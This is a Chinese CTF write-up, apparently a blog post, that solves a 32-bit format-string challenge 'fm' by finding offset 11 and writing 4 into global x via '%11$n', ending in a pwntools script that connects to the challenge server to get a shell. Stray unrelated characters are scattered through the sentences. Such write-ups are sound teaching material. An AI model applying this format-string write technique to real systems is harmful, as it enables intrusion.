流程套路還是固定的昆著,file看一下是32位的文件
checksec看一下開了什么保護(hù),好像沒什么奇怪的東西
運(yùn)行一下看看术陶,什么也看不明白凑懂,開ida看吧。
ida里面的函數(shù)
扔到32的ida看一下是顯而易見的fsb格式化字符串梧宫,點(diǎn)進(jìn)去看一下發(fā)現(xiàn)x的值為3接谨,只要把x的值修改為4,我們就可以執(zhí)行system(‘bin/sh’)拿到shell祟敛。
那我們就基本有思路了疤坝。
大概這樣子?馆铁?跑揉?
x的地址為0x0804A02C,所以我們現(xiàn)在要開始找我們所需要的偏移量寫payload覆蓋x的地址
格式化字符串好像基本上都是構(gòu)造類似如下的payload...[overwrite addr]....%[overwrite offset]$n,...表示填充的數(shù)據(jù)好像都是這樣子的吧...我也不太清楚
現(xiàn)在我們來找偏移量埠巨。
找偏移量大概有兩種方法历谍?
暴力找一下,先打入字符串AAAA辣垒,然后一個(gè)一個(gè)%1x望侈,可以打出print的第一個(gè)地址,如果打出0x41414141勋桶,就說明找到了偏移量 如果不是脱衙,繼續(xù)找%2x,%3x巴拉巴拉例驹。 拿pwndbg找啊找 發(fā)現(xiàn)這個(gè)題目的偏移量為11捐韩,好的我們現(xiàn)在找到了偏移量。 然后學(xué)一下%11n,這個(gè)是把前面寫的bit一個(gè)一個(gè)計(jì)入n鹃锈。因?yàn)檫@個(gè)題目里面要把n轉(zhuǎn)成4.所以直接使用%11$n荤胁,就可以寫入4.
所以我們可以寫腳本了
from pwn import *
p = remote('pwn2.jarvisoj.com', 9895)
# p = process('./fm')
elf = ELF('./fm')
x_addr = 0x0804A02C
print hex(x_addr)
payload = p32(x_addr) + '%11$n'
p.sendline(payload)
p.interactive()
然后就可以成功的cat flag啦!